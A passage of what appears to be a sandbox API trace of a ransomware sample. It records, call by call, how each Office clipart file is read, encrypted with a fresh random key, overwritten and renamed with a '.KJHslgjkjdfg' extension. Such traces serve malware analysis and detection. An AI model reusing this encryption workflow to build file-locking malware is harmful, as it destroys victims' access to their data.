[0185.610] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.610] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.610] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.611] GetProcessHeap () returned 0x2a0000 [0185.611] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.611] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.611] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.611] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.612] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.612] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.612] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.612] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.613] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.613] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.613] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.613] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.613] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x270, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x270, lpOverlapped=0x0) returned 1 [0185.613] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x270, dwBufLen=0x270 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x270) returned 1 [0185.613] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.613] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x270, lpOverlapped=0x0) returned 1 [0185.613] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.613] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.613] SetEndOfFile (hFile=0x114) returned 1 [0185.615] GetProcessHeap () returned 0x2a0000 [0185.615] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.615] GetProcessHeap () returned 0x2a0000 [0185.615] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.615] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf.kjhslgjkjdfg")) returned 1 [0185.617] CloseHandle (hObject=0x114) returned 1 [0185.617] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a04ab00, ftCreationTime.dwHighDateTime=0x1bd4bfd, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a04ab00, ftLastWriteTime.dwHighDateTime=0x1bd4bfd, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01852_.WMF", cAlternateFileName="")) returned 1 [0185.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.618] GetProcessHeap () returned 0x2a0000 [0185.618] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.618] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.618] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.618] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.621] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.621] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.621] GetProcessHeap () returned 0x2a0000 [0185.621] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.621] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.621] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.622] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.622] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.622] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.622] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.622] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.622] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.622] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.622] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.622] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.622] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1138, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1138, lpOverlapped=0x0) returned 1 [0185.623] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1140, dwBufLen=0x1140 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1140) returned 1 [0185.623] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.623] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1140, lpOverlapped=0x0) returned 1 [0185.624] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.624] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.624] SetEndOfFile (hFile=0x114) returned 1 [0185.626] GetProcessHeap () returned 0x2a0000 [0185.626] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.626] GetProcessHeap () returned 0x2a0000 [0185.626] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.626] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf.kjhslgjkjdfg")) returned 1 [0185.627] CloseHandle (hObject=0x114) returned 1 [0185.627] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01858_.WMF", cAlternateFileName="")) returned 1 [0185.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.628] GetProcessHeap () returned 0x2a0000 [0185.628] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.628] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.628] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.629] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.631] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.631] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.631] GetProcessHeap () returned 0x2a0000 [0185.631] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.631] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.631] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.631] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.631] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.632] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.632] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.632] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.632] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.632] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.632] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.632] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.632] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x10c8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x10c8, lpOverlapped=0x0) returned 1 [0185.633] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x10d0, dwBufLen=0x10d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x10d0) returned 1 [0185.633] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.633] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x10d0, lpOverlapped=0x0) returned 1 [0185.633] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.633] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x11a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.633] SetEndOfFile (hFile=0x114) returned 1 [0185.636] GetProcessHeap () returned 0x2a0000 [0185.636] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.636] GetProcessHeap () returned 0x2a0000 [0185.636] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.636] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf.kjhslgjkjdfg")) returned 1 [0185.638] CloseHandle (hObject=0x114) returned 1 [0185.638] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa55a300, ftCreationTime.dwHighDateTime=0x1bd4bfc, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa55a300, ftLastWriteTime.dwHighDateTime=0x1bd4bfc, nFileSizeHigh=0x0, nFileSizeLow=0xdb8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01866_.WMF", cAlternateFileName="")) returned 1 [0185.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.639] GetProcessHeap () returned 0x2a0000 [0185.639] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.639] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.639] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.639] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.650] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.650] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.650] GetProcessHeap () returned 0x2a0000 [0185.650] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.650] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.651] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.651] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.651] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.651] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.651] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.651] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.651] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.651] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.652] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.652] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.652] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xdb8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xdb8, lpOverlapped=0x0) returned 1 [0185.652] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xdc0, dwBufLen=0xdc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xdc0) returned 1 [0185.652] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.652] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xdc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xdc0, lpOverlapped=0x0) returned 1 [0185.652] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.652] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xe94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.652] SetEndOfFile (hFile=0x114) returned 1 [0185.655] GetProcessHeap () returned 0x2a0000 [0185.655] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.655] GetProcessHeap () returned 0x2a0000 [0185.655] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.655] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf.kjhslgjkjdfg")) returned 1 [0185.657] CloseHandle (hObject=0x114) returned 1 [0185.657] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02009_.WMF", cAlternateFileName="")) returned 1 [0185.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.658] GetProcessHeap () returned 0x2a0000 [0185.658] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.658] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.658] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.658] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.658] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.658] GetProcessHeap () returned 0x2a0000 [0185.658] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.658] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.658] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.658] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.662] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.662] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.662] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, 